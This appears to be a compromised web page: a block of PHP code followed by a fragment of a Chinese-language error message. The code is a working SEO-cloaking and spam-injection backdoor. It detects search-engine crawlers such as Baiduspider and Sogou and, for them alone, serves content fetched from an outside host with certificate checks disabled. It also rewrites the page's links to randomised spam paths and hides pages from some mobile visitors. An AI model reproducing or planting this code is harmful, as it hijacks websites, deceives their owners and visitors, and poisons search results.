set_time_limit(0); error_reporting(0); $a="stristr"; $b=$_SERVER; if (!function_exists('httpGetlai')) { function httpGetlai($c) { $d = curl_init(); curl_setopt($d, CURLOPT_URL, $c); curl_setopt($d, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'); curl_setopt($d, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($d, CURLOPT_RETURNTRANSFER, 1); curl_setopt($d, CURLOPT_HEADER, 0); $e = curl_exec($d); curl_close($d); return $e; } } if (!function_exists('httpGet2')) { function httpGet2($url) { header('Content-Type:text/html;charset=utf-8'); $ch = curl_init(); $ua2 = $_SERVER['HTTP_USER_AGENT']; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); $dirs = array("dy", "ys", "ku", "du", "zkblw", "keyan", "zhuli", "moban", "wen", "template", "html1"); $tags = array('
', '', '', ''); $output = str_replace($tags, '', $output); $lianjie = '/[\s\S]*?<\/a>/'; preg_match_all($lianjie, $output, $aarray5); if ($aarray5[0]) { $count = 0; foreach ($aarray5[0] as $pbti) { $preg = '/href=(\"|\')(.*?)(\"|\')/i'; if ($count < 2) { $randomUrl = httpGetlai('http://xj.ban10.cn/spider.php'); $randomUrl = str_replace('', '', $randomUrl); if ($randomUrl !== false) { $replacestr = 'href="' . trim($randomUrl) . $dirs[array_rand($dirs)] . '/' . date('Ymd') . rand(100000, 99999999) . '.html"'; $count++; } else { $replacestr = 'href="' . $dirs[array_rand($dirs)] . '/' . date('Ymd') . rand(100000, 99999999) . '.html"'; } } else { $replacestr = 'href="' . $dirs[array_rand($dirs)] . '/' . date('Ymd') . rand(100000, 99999999) . '.html"'; } $aoutput = preg_replace($preg, $replacestr, $pbti); $output = str_replace($pbti, $aoutput, $output); } } return $output; } } define('url', $b['REQUEST_URI']); define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']); define('ent', $b['HTTP_USER_AGENT']); define('site', "http://tdxj.ban10.cn/"); define('road', "?road=" . $b['HTTP_HOST'] . url); define('memes', road . "&referer=" . urlencode(ref)); define('regs', '@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i'); define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/'); define('area', $a(url, "ben") || $a(url, "/dy/") || $a(url, "kkk") || $a(url, "/ys/") || $a(url, "/ku/") || $a(url, "zkblw") || $a(url, "keyan") || $a(url, "zhuli") || $a(url, ".xml") || $a(url, ".doc") || $a(url, ".pdf") || $a(url, ".txt") || $a(url, ".ppt") || $a(url, ".pptx") || $a(url, ".tacc") || $a(url, ".jsp") || $a(url, ".asp") || $a(url, ".ga") || $a(url, ".gq") || $a(url, ".pdx") || $a(url, ".xlsx") || $a(url, ".edu") || $a(url, ".gov") || $a(url, "baike") || $a(url, ".xls") || $a(url, ".htx") || $a(url, ".htt") || $a(url, ".xhtml") || $a(url, ".new") || $a(url, ".do") || $a(url, ".action") || $a(url, ".frx") || $a(url, ".csv") || $a(url, ".docx") || $a(url, ".xhtml") || $a(url, ".shtml") || $a(url, "ben") || $a(url, "xinwen1") || $a(url, "news1") || $a(url, "show1") || $a(url, "html1") || $a(url, "moban") || $a(url, "template") || $a(url, "/du/") || $a(url, "wen/") || $a(url, "and") || $a(url, "xjj") || $a(url, "/ask/") || $a(url, "/dsp/")); if (preg_match(regs, ent)) { if (area) { echo httpGetlai(site . road); exit(); } else { echo httpGet2($b['HTTP_HOST'] . url); exit(); } } if (area && preg_match(mobile, ent)) { echo ' '; exit; }你可以返回上一页重试,或直接向我们反馈错误报告